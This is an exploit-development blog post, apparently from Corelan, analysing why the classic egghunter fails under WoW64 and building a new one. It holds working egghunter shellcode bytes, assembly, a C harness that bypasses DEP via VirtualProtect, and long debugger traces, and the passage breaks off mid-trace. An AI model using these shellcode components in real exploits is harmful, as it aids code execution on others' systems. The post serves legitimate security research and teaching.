{"id":7723,"date":"2011-11-18T12:04:00","date_gmt":"2011-11-18T11:04:00","guid":{"rendered":"https:\/\/www.corelan.be\/?p=7723"},"modified":"2011-11-18T12:04:00","modified_gmt":"2011-11-18T11:04:00","slug":"wow64-egghunter","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/","title":{"rendered":"WoW64 Egghunter"},"content":{"rendered":"<h3>Traditional Egghunter<\/h3>\n<p><span style=\"font-family: arial\">An Egghunter is nothing more than an assembly routine to find shellcode somewhere in memory. We typically deploy an Egghunter when there is no more room in our buffer that we can use to initially redirect EIP to. If we are able to load our shellcode elsewhere in process memory, the Egghunter will search for it, and jump to it.<\/span><\/p>\n<p><span style=\"font-family: arial\">There are 2 major objectives for an Egghunter:<\/span><\/p>\n<ul>\n<li><span style=\"font-family: arial\">It has to find our shellcode in memory and run it (pretty obvious)<\/span><\/li>\n<li><span style=\"font-family: arial\">It needs to be able to survive reading memory locations that are not readable.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-family: arial\">Peter wrote a <a href=\"http:\/\/www.corelan.be\/index.php\/2010\/01\/09\/exploit-writing-tutorial-part-8-win32-egg-hunting\/\">great tutorial<\/a> covering Egghunter\u2019s from top to bottom. <\/span><\/p>\n<p><span style=\"font-family: arial\">Today I will particularly focus on <a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/egghunt-shellcode.pdf\">Skape\u2019s<\/a> original Egghunter which checks an area in memory to see if it\u2019s readable by issuing a system call, returning an error code reflecting the access level of the address that was passed as one of the arguments to the system call, and then comparing the outcome in the Egghunter itself through some conditional jumps. If you are familiar (or have read Peter's tutorial), you should recognize this few lines of assembly :<\/span><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">6681CAFF0F  or dx,0x0fff   ; get last address in page\n42          inc edx        ; acts as a counter\n                           ;(increments the value in EDX)\n52          push edx       ; pushes edx value to the  stack\n                           ;(saves our current address on the stack)\n6A43        push byte +0x2 ; push 0x2 for NtAccessCheckAndAuditAlarm\n                           ; or 0x43 for NtDisplayString to stack\n58          pop eax        ; pop 0x2 or 0x43 into eax\n                           ; so it can be used as parameter\n                           ; to syscall - see next\nCD2E        int 0x2e       ; tell the kernel i want a do a\n                           ; syscall using previous register\n3C05        cmp al,0x5     ; check if access violation occurs\n                           ;(0xc0000005== ACCESS_VIOLATION) 5\n5A          pop edx        ; restore edx\n74EF        je xxxx        ; jmp back to start dx 0x0fffff\nB890509050  mov eax,0x50905090 ; this is the tag (egg)\n8BFA        mov edi,edx    ; set edi to our pointer\nAF          scasd          ; compare for status\n75EA        jnz xxxxxx     ; (back to inc edx) check egg found or not\nAF          scasd          ; when egg has been found\n75E7        jnz xxxxx      ; (jump back to \"inc edx\")\n                           ; if only the first egg was found\nFFE7        jmp edi\n<\/pre>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics141.png\"><img loading=\"lazy\" decoding=\"async\" width=\"648\" height=\"389\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"morepics14\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics14_thumb1.png\" border=\"0\"><\/a><\/p>\n<p><span style=\"font-family: arial\">Before <span style=\"font-family: arial\">issuing the interrupt call, you notice that we put 0x2 into EAX which is the desired system call number associated with NtAccessCheckAndAuditAlarm. <\/span><\/span><\/p>\n<p><span style=\"font-family: arial\">Then we use int 2e, which is a software interrupt that triggers a switch from user mode to kernel mode (to invoke syscalls). If we take a look at the system call stub, we have the option to call <\/span><span style=\"font-family: arial\">NtAccessCheckAndAuditAlarm via either int 2e or sysenter.&nbsp; The latter may require a bit more work, but technically it would work.<\/span><\/p>\n<p><span style=\"font-family: arial\">Much has been said and done around egghunters already, and variations on egghunters (such as <a href=\"http:\/\/www.corelan.be\/index.php\/2010\/08\/22\/exploit-notes-win32-eggs-to-omelet\/\">omelet hunters<\/a>), no need to repeat that.&nbsp; But in todays environments, we can ask ourselves a few questions.<\/span><\/p>\n<p><span style=\"font-family: arial\">These questions essentially are: <\/span><\/p>\n<ul>\n<li><span style=\"font-family: arial\">W<\/span><span style=\"font-family: arial\">hat about running 32 bit applications on 64 bit systems? Will our Egghunter work? <\/span><\/li>\n<li><span style=\"font-family: arial\">What is so special about that environment ? <\/span><\/li>\n<li><span style=\"font-family: arial\">Why would we even bother about 32bit applications on a 64bit version of the windows operating system?<\/span><\/li>\n<\/ul>\n<p><span style=\"font-family: arial\">Well, the last question can be answered very easily. Increasingly more people are using 64bit of the Windows operating system.&nbsp; New computers usually get delivered with a 64bit version of Windows 7, but the reality is that in most cases, the majority of the applications people install and use are still 32bit versions.<\/span><\/p>\n<p><span style=\"font-family: arial\">Exploits for that environment are no different than the ones running on a 32bit version of the Windows operating system.&nbsp; You may have to deal with DEP in certain cases, but that is not a result of 64bit as such. Just keep in mind that these 32 bit applications run inside an additional layer called WoW64.<\/span><\/p>\n<p><span style=\"font-family: arial\">Answering the other questions requires a little bit more work.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span style=\"font-family: arial\">Research Time!<\/span><\/h4>\n<p><span style=\"font-family: arial\">There is a good article on Wikipedia explaining <a href=\"http:\/\/en.wikipedia.org\/wiki\/WoW64\">WoW64 system<\/a> and on <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/aa384274%28v=vs.85%29.aspx\">MSDN<\/a>. <\/span><\/p>\n<p><span style=\"font-family: arial\">From MSDN:<\/span><\/p>\n<blockquote>\n<p>At startup, Wow64.dll loads the x86 version of Ntdll.dll and runs its initialization code, which loads all necessary 32-bit DLLs. Almost all 32-bit DLLs are unmodified copies of 32-bit Windows binaries. However, some of these DLLs are written to behave differently on WOW64 than they do on 32-bit Windows, usually because they share memory with 64-bit system components.<\/p>\n<\/blockquote>\n<p><span style=\"font-family: arial\">So to test this out I am going to use our existing Egghunter, run it inside a 32bit process on a 64bit operating system and see what the issues are going to be.<\/span><\/p>\n<p><span style=\"font-family: arial\">We can create a small program and compile it with a 32 bit compiler and run it on our 64 bit host. For this example this C program will bypass DEP using a call to VirtualProtect and run the standard 32 bit Egghunter bytes. (The DEP bypass is only needed if you have DEP enabled in OptOut or AlwaysOn mode, which is the case on my Windows 7 64bit test machine\u2026 in any case, it doesn't do any harm or change anything to the egghunter itself)<\/span><\/p>\n<p><span style=\"font-family: arial\">The 'shellcode' used is just a placeholder. It contains the double tag used for the egghunter to locate the shellcode in memory, followed by 4 simple instructions and a breakpoint.<\/span><\/p>\n<p><span style=\"font-family: arial\">In order to prevent that we are going to use the egghunter to find it, and not just slide through and execute the shellcode placed after the egghunter on the stack, we have put some breakpoints before the double tag.<\/span><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">#include &lt;cstdlib&gt;\n#include &lt;iostream&gt;\n#include &lt;windows.h&gt;\n\n<span style=\"color: #0000ff\">using<\/span> <span style=\"color: #0000ff\">namespace<\/span> std;\n\n<span style=\"color: #0000ff\">char<\/span> code[]=\n\n<span style=\"color: #008000\">\/\/32 bit tradional egghunter <\/span>\n\"<span style=\"color: #8b0000\">\\x66\\x81\\xCA\\xFF\\x0F\\x42\\x52\\x6A\\x02\\x58\\xCD\\x2E\\x3C\\x05\\x5A\\x74\\xEF\\xB8<\/span>\"\n\"<span style=\"color: #8b0000\">\\x77\\x30\\x30\\x74<\/span>\" <span style=\"color: #008000\">\/\/w00t <\/span>\n\"<span style=\"color: #8b0000\">\\x8B\\xFA\\xAF\\x75\\xEA\\xAF\\x75\\xE7\\xFF\\xE7<\/span>\"\n\n<span style=\"color: #008000\">\/\/SC PAYLOAD <\/span>\n\"<span style=\"color: #8b0000\">\\xcc\\xcc\\xcc\\xcc\\x77\\x30\\x30\\x74<\/span>\"\n\"<span style=\"color: #8b0000\">\\x77\\x30\\x30\\x74\\x41\\x42\\x43\\x44\\xcc<\/span>\"; \n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span> **argv)\n{\n  DWORD old;\n  VirtualProtect(&amp;code, 500, PAGE_EXECUTE_READWRITE, &amp;old);\n  <span style=\"color: #0000ff\">int<\/span> (*func)();\n  func = (<span style=\"color: #0000ff\">int<\/span> (*)()) code;\n  (<span style=\"color: #0000ff\">int<\/span>)(*func)();\n}<\/pre>\n<p>&nbsp;<\/p>\n<p><span style=\"font-family: arial\">Compile the application, but don't run it yet.<\/span><\/p>\n<p><span style=\"font-family: arial\">Launch the 64bit version of Windbg, and open the newly created executable in WinDbg . <\/span><\/p>\n<p><span style=\"font-family: arial\">By the way : To install WinDbg and retrieve all the symbols <\/span><a href=\"http:\/\/msdn.microsoft.com\/en-us\/windows\/hardware\/gg462988\"><span style=\"font-family: arial\">go here<\/span><\/a><span style=\"font-family: arial\">. <\/span><\/p>\n<p><span style=\"font-family: arial\">If we do a dump on our loaded modules we can see the WoW64 dynamic linked libraries it uses. <\/span><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">ModLoad: 00000000`00400000 00000000`00449000   image00000000`00400000\nModLoad: 00000000`77910000 00000000`77ab9000   ntdll.dll\nModLoad: 00000000`77af0000 00000000`77c70000   ntdll32.dll\nModLoad: 00000000`75130000 00000000`7516f000   C:\\Windows\\SYSTEM32\\wow64.dll\nModLoad: 00000000`750d0000 00000000`7512c000   C:\\Windows\\SYSTEM32\\wow64win.dll\nModLoad: 00000000`750c0000 00000000`750c8000   C:\\Windows\\SYSTEM32\\wow64cpu.dll\n0:000&gt; g\nModLoad: 00000000`77440000 00000000`7755f000   WOW64_IMAGE_SECTION\nModLoad: 00000000`766e0000 00000000`767f0000   WOW64_IMAGE_SECTION\nModLoad: 00000000`77440000 00000000`7755f000   NOT_AN_IMAGE\nModLoad: 00000000`776b0000 00000000`777aa000   NOT_AN_IMAGE\nModLoad: 00000000`766e0000 00000000`767f0000   C:\\Windows\\syswow64\\kernel32.dll\nModLoad: 00000000`77080000 00000000`770c6000   C:\\Windows\\syswow64\\KERNELBASE.dll\nModLoad: 00000000`73d20000 00000000`73d54000   C:\\Program Files\\AVAST Software\\Avast\\snxhk.dll\nModLoad: 00000000`768c0000 00000000`7696c000   C:\\Windows\\syswow64\\msvcrt.dll\n0:000:x86&gt; lm\nstart             end                 module name\n00400000 00449000   image00000000_00400000   (deferred)\n73d20000 73d54000   snxhk      (deferred)\n750c0000 750c8000   wow64cpu   (deferred)\n750d0000 7512c000   wow64win   (deferred)\n75130000 7516f000   wow64      (deferred)\n766e0000 767f0000   kernel32   (deferred)\n768c0000 7696c000   msvcrt     (deferred)\n77080000 770c6000   KERNELBASE   (deferred)\n77910000 77ab9000   ntdll      (export symbols)       C:\\Windows\\SYSTEM32\\ntdll.dll\n77af0000 77c70000   ntdll32    (export symbols)       ntdll32.dll<\/pre>\n<p><span style=\"font-family: arial\">We go ahead and set a break point at the beginning of our Egghunter bytes. <\/span><\/p>\n<p><span style=\"font-family: arial\">On my PC this address is 0x43f000. <\/span><\/p>\n<p><span style=\"font-family: arial\">Run the application, which should hit the breakpoint you just set.<\/span><\/p>\n<p><span style=\"font-family: arial\">Now, when stepping through our code, we see an access violation :<\/span><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/win21.png\"><img loading=\"lazy\" decoding=\"async\" width=\"639\" height=\"360\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"win2\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/win2_thumb1.png\" border=\"0\"><\/a><\/p>\n<p><span style=\"font-family: arial\">Lets go ahead and analyze what\u2019s going on<\/span><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/win3.png\"><img loading=\"lazy\" decoding=\"async\" width=\"560\" height=\"224\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"win3\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/win3_thumb.png\" border=\"0\"><\/a><\/p>\n<p><span style=\"font-family: arial\">It looks like the command \u2018int 2e\u2019 is not able to be passed in our WoW64 environment. In short, this means that 'int 2e' doesn't seem to work the way it did in a purely 32bit environment.&nbsp; That's a bummer, because we need the syscall to determine if a page is readable before trying to read it.&nbsp; If we can't do that, the egghunter would die as soon as it tries to read from a non-readable memory location.<\/span><\/p>\n<p><span style=\"font-family: arial\">So how exactly are system calls processed in Wow64? There must be a way to be able to call NtAccessCheckAndAuditAlarm in the WoW64 environment? I bet you are asking yourself the same questions I just raised. <\/span><\/p>\n<p><span style=\"font-family: arial\">I decided to search Google and found some pretty handy resources: <\/span><\/p>\n<ul>\n<li><a title=\"http:\/\/www.nynaeve.net\/?p=131\" href=\"http:\/\/www.nynaeve.net\/?p=131\">http:\/\/www.nynaeve.net\/?p=131<\/a><\/li>\n<li>http:\/\/blog.oxff.net\/#2sapnfkthvpzjscp3xwq<\/li>\n<li><a href=\"http:\/\/blog.rewolf.pl\/blog\/?p=102\">http:\/\/blog.rewolf.pl\/blog\/?p=102<\/a><\/li>\n<li>http:\/\/vx.netlux.org\/lib\/vrg02.html<\/li>\n<\/ul>\n<p><span style=\"font-family: arial\">On a 64 bit system running a 32 bit compiled application, we see that instead of calling a system call stub to our system calls, we appear to be calling an offset located in TEB, 0xC0 (call dword fs:[C0]).<\/span><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics231.png\"><img loading=\"lazy\" decoding=\"async\" width=\"467\" height=\"366\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"morepics23\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics23_thumb1.png\" border=\"0\"><\/a><\/p>\n<p><span style=\"font-family: arial\">If we look at TEB 0x0C we see \u201cWOW32 Reserved\u201d. If we then point to that call and execute we the see the bytes at TEB 0x0C is a jump.<\/span><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics3.png\"><img loading=\"lazy\" decoding=\"async\" width=\"485\" height=\"273\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"morepics2\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics3_thumb.png\" border=\"0\"><\/a><\/p>\n<p>&nbsp;<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; u wow64cpu!X86SwitchTo64BitMode\nwow64cpu!X86SwitchTo64BitMode:\n74952320 ea1e2795743300  jmp     0033:7495271E<\/pre>\n<p><span style=\"font-family: arial\">We are doing a far jump and we are going to jump into 64bit mode. <\/span><\/p>\n<pre><\/pre>\n<p>&nbsp;<\/p>\n<h3>Time to create a new Egghunter<\/h3>\n<p>Right. So we know the classic Egghunter is not working, but we are starting to see how system calls can be issued in a WoW64 bit environment.<\/p>\n<p>After all, we need the system call to be able to survive access violations when the Egghunter is running.<\/p>\n<p>Let\u2019s go ahead and make a basic Egghunter based on our call setup into wow64cpu!X86SwitchTo64BitMode:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; u ntdll32!NtAccessCheckAndAuditAlarm\nntdll32!NtAccessCheckAndAuditAlarm:\n7715fc58 b826000000      mov     eax,26h\n7715fc5d 33c9            xor     ecx,ecx\n7715fc5f 8d542404        lea     edx,[esp+4]\n7715fc63 64ff15c0000000  call    dword ptr fs:[0C0h]\n7715fc6a 83c404          add     esp,4\n7715fc6d c22c00          ret     2Ch<\/pre>\n<p>This will be our skeleton Egghunter:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">[BITS 32]\n\negg: \n\n        OR DX,0x0FFF\n        INC EDX\n        PUSH EDX\n        PUSH BYTE 38            ;NtAccessCheckAndAuditAlarm\n        POP EAX\n        XOR ECX,ECX\n        MOV EDX,ESP             ;begin reading parameters off the stack\n        CALL DWORD [FS:0xc0]\n        POP ESI                 ;clear call off stack\n        POP EDX                 ;pop search value back into edx\n        CMP AL,5\n        JE egg\n        MOV EAX, 0x74303077\n        MOV EDI,EDX\n        SCASD\n        JNZ  egg + 5\n        SCASD\n        JNZ egg + 5\n        JMP EDI<\/pre>\n<p>If we run that through nasm our shellcode bytes will be:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">\\x66\\x81\\xCA\\xFF\\x0F\\x42\\x52\\x6A\\x26\\x58\\x31\\xC9\\x89\\xE2\n\\x64\\xFF\\x15\\xC0\\x00\\x00\\x00\\x5E\\x5A\\x3C\\x05\\x74\\xE5\\xB8\n\\x77\\x30\\x30\\x74\\x89\\xD7\\xAF\\x75\\xE0\\xAF\\x75\\xDD\\xFF\\xE7<\/pre>\n<p>Right off the bat we have an issue, we have null bytes. Well, it's not a technical issue, but as null bytes are often dealbreakers in exploits, ideally we should try to prevent them.<\/p>\n<p>We can deal with that later and lets go ahead and run this.<\/p>\n<p>When running the new code, at first I received an access violation. I decided to ignore it and to continue tracing through.<\/p>\n<p>The below screen shot is of a log capture in Immunity after changing the Debugging Options and under Exceptions and selecting \u2018Add last exception\u2019 to ignore.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/immunity131.png\"><img loading=\"lazy\" decoding=\"async\" width=\"612\" height=\"426\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"immunity13\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/immunity13_thumb1.png\" border=\"0\"><\/a><\/p>\n<p>Take a look at the addresses mentioned in the Immunity Log\u2026.&nbsp; This is not good - it looks like we are not properly reading memory in a sequential way.<\/p>\n<p>It appears that other parameters on the stack are being passed into our call and causing our code to break when we are trying to read a valid address (more on that later).<\/p>\n<p>Let\u2019s start off with our first exception when we run the same code through 64 bit WinDbg.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">wow64!whNtAccessCheckAndAuditAlarm+0xc9:\n00000000`75145d71 418b4004        mov     eax,dword ptr [r8+4] ds:00000000`000001f8=????????<\/pre>\n<p>If we break down wow64!whNtAccessCheckAndAuditAlarm we can see what\u2019s going on:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">wow64!whNtAccessCheckAndAuditAlarm:\n00000000`75145ca8 4c8bdc          mov     r11,rsp\n00000000`75145cab 49895b10        mov     qword ptr [r11+10h],rbx\n00000000`75145caf 49897318        mov     qword ptr [r11+18h],rsi\n00000000`75145cb3 57              push    rdi\n00000000`75145cb4 4154            push    r12\n00000000`75145cb6 4155            push    r13\n00000000`75145cb8 4156            push    r14\n00000000`75145cba 4157            push    r15\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x14:\n00000000`75145cbc 4881ecb0000000  sub     rsp,0B0h\n00000000`75145cc3 488b0536340200  mov     rax,qword ptr [wow64!_security_cookie (00000000`75169100)]\n00000000`75145cca 4833c4          xor     rax,rsp\n00000000`75145ccd 48898424a0000000 mov     qword ptr [rsp+0A0h],rax\n00000000`75145cd5 448b4904        mov     r9d,dword ptr [rcx+4]\n00000000`75145cd9 8b5108          mov     edx,dword ptr [rcx+8]\n00000000`75145cdc 448b410c        mov     r8d,dword ptr [rcx+0Ch]\n00000000`75145ce0 448b5110        mov     r10d,dword ptr [rcx+10h]\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x3c:\n00000000`75145ce4 448b6914        mov     r13d,dword ptr [rcx+14h]\n00000000`75145ce8 448b7118        mov     r14d,dword ptr [rcx+18h]\n00000000`75145cec 448a791c        mov     r15b,byte ptr [rcx+1Ch]\n00000000`75145cf0 8b4120          mov     eax,dword ptr [rcx+20h]\n00000000`75145cf3 89442468        mov     dword ptr [rsp+68h],eax\n00000000`75145cf7 8b4124          mov     eax,dword ptr [rcx+24h]\n00000000`75145cfa 89442464        mov     dword ptr [rsp+64h],eax\n00000000`75145cfe 8b4128          mov     eax,dword ptr [rcx+28h]\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x59:\n00000000`75145d01 89442460        mov     dword ptr [rsp+60h],eax\n00000000`75145d05 33db            <span style=\"color: #008000\">xor ebx,ebx<\/span>\n00000000`75145d07 3919            <span style=\"color: #008000\">cmp dword ptr [rcx],ebx<\/span>\n00000000`75145d09 7420            <span style=\"color: #008000\">je wow64!whNtAccessCheckAndAuditAlarm+0x83 (00000000`75145d2b)<\/span>\n00000000`75145d0b 498d7398        lea     rsi,[r11-68h]\n00000000`75145d0f 8b09            mov     ecx,dword ptr [rcx]\n00000000`75145d11 8b4104          mov     eax,dword ptr [rcx+4]\n00000000`75145d14 498943a0        mov     qword ptr [r11-60h],rax\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x70:\n00000000`75145d18 0fb74102        movzx   eax,word ptr [rcx+2]\n00000000`75145d1c 6689442472      mov     word ptr [rsp+72h],ax\n00000000`75145d21 0fb701          movzx   eax,word ptr [rcx]\n00000000`75145d24 6689442470      mov     word ptr [rsp+70h],ax\n00000000`75145d29 eb03            jmp     wow64!whNtAccessCheckAndAuditAlarm+0x86 (00000000`75145d2e)\n00000000`75145d2b 488bf3          mov     rsi,rbx\n00000000`75145d2e 4d8be1          mov     r12,r9\n00000000`75145d31 3bd3            <span style=\"color: #008000\">cmp edx,ebx<\/span>\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x8b:\n00000000`75145d33 742c            <span style=\"color: #008000\">je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61)<\/span>\n00000000`75145d35 488dbc2480000000<span style=\"color: #0000ff\">lea rdi,[rsp+80h]<\/span>\n00000000`75145d3d 8b4204          <span style=\"color: #0000ff\">mov eax,dword ptr [rdx+4]<\/span>\n00000000`75145d40 4889842488000000<span style=\"color: #0000ff\">mov qword ptr [rsp+88h],rax<\/span>\n00000000`75145d48 0fb74202        <span style=\"color: #0000ff\">movzx eax,word ptr [rdx+2]<\/span>\n00000000`75145d4c 6689842482000000<span style=\"color: #0000ff\">mov word ptr [rsp+82h],ax<\/span>\n00000000`75145d54 0fb702          <span style=\"color: #0000ff\">movzx eax,word ptr [rdx]<\/span>\n00000000`75145d57 6689842480000000<span style=\"color: #0000ff\">mov word ptr [rsp+80h],ax<\/span>\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xb7:\n00000000`75145d5f eb03            <span style=\"color: #0000ff\">jmp wow64!whNtAccessCheckAndAuditAlarm+0xbc (00000000`75145d64)<\/span>\n00000000`75145d61 488bfb          mov     rdi,rbx\n00000000`75145d64 443bc3          <span style=\"color: #008000\">cmp r8d,ebx<\/span>\n00000000`75145d67 742d            <span style=\"color: #008000\">je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75145d96)<\/span>\n00000000`75145d69 488d9c2490000000 lea     rbx,[rsp+90h]\n00000000`75145d71 418b4004        <span style=\"color: #8b0000\">mov eax,dword ptr [r8+4]<\/span>\n00000000`75145d75 4889842498000000 mov     qword ptr [rsp+98h],rax\n00000000`75145d7d 410fb74002      movzx   eax,word ptr [r8+2]\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xda:\n00000000`75145d82 6689842492000000 mov     word ptr [rsp+92h],ax\n00000000`75145d8a 410fb700        movzx   eax,word ptr [r8]\n00000000`75145d8e 6689842490000000 mov     word ptr [rsp+90h],ax\n00000000`75145d96 498bca          mov     rcx,r10\n00000000`75145d99 e87251ffff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7513af10)\n00000000`75145d9e 488bd0          mov     rdx,rax\n00000000`75145da1 8b442468        mov     eax,dword ptr [rsp+68h]\n00000000`75145da5 448b5c2464      mov     r11d,dword ptr [rsp+64h]<\/pre>\n<p>In green we have instructions\/conditions that will be used to check in memory if the address is readable or not in wow64!whNtAccessCheckAndAuditAlarm.<\/p>\n<p>Our first comparison inside wow64!whNtAccessCheckAndAuditAlarm will set EBX to 0 (EBX will also be used for the other comparisons later in the function) and then compare it to the values located in [RCX]. [RCX] will contain the address of the top of the stack frame. This is when we set EDX to ESP during our Egghunter stub when we switched to WoW64. This top stack address will contain the pointer to the address we want to validate whether it\u2019s \u201creadable\u201d or not, and to determine if our egghunter should start looking in that page of memory, or move onto the next page. This also means that [RCX + offset] will also contain other pointers picked up from the stack which we will have to deal with later since they are also evaluated in this function and used as parameters. The values at [RCX +offset] will eventually be moved into different registers, and various condition checks will be done. Since we control all these values, we can control all the conditions. <\/p>\n<p>So recapping the first parameter read from [RCX] will be our \u201ccheck whether address exists or not\u201d, and we don\u2019t want to change this parameter. The other parameters are not needed for us to successfully execute our egghunter, and we will need to modify them before passing them to wow64!whNtAccessCheckAndAuditAlarm, more on that in a bit. <\/p>\n<p>Let\u2019s look at our stack parameters in EDX before our far jump, and then trace where we will then setup those same parameters in wow64!whNtAccessCheckAndAuditAlarm.Then we can find out what values to put in them to influence the condition we want meet, and to eventually get to our system call.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt;  r\neax=00000026 ebx=00004000 ecx=00000000 edx=0028ff08 esi=00000000 edi=00000000\neip=0043f00e esp=0028ff08 ebp=0028ff48 iopl=0         nv up ei pl zr na pe nc\ncs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246\nimage00000000_00400000+0x3f00e:\n0043f00e 64ff15c0000000  call    dword ptr fs:[0C0h]  fs:0053:000000c0=00000000\n0:000:x86&gt; dds esp\n0028ff08  0008f000\n0028ff0c  004013ec image00000000_00400000+0x13ec\n0028ff10  0043f000 image00000000_00400000+0x3f000\n0028ff14  000001f4\n0028ff18  00000040\n0028ff1c  0028ff44\n0:000:x86&gt; g wow64!whNtAccessCheckAndAuditAlarm+0x31\nwow64!whNtAccessCheckAndAuditAlarm+0x31:\n00000000`75145cd9 8b5108          <span style=\"color: #008000\">mov edx,dword ptr [rcx+8] ds:00000000`0028ff10=0043f000<\/span>\n0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0x34:\n00000000`75145cdc 448b410c        <span style=\"color: #008000\">mov r8d,dword ptr [rcx+0Ch] ds:00000000`0028ff14=000001f4<\/span><\/pre>\n<p>Notice that EBX and RCX points to the top of our stack before doing our far jump.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0x38:\n00000000`75145ce0 448b5110        mov     r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000040\n0:000&gt; r\nrax=000000007459d16e rbx=000000000028ff08 rcx=000000000028ff08\n<span style=\"color: #8b0000\">rdx=000000000043f000<\/span> rsi=000000007efdb000 rdi=000000007efdd000\nrip=0000000075145ce0 rsp=000000000008e270 rbp=000000000028ff48\n<span style=\"color: 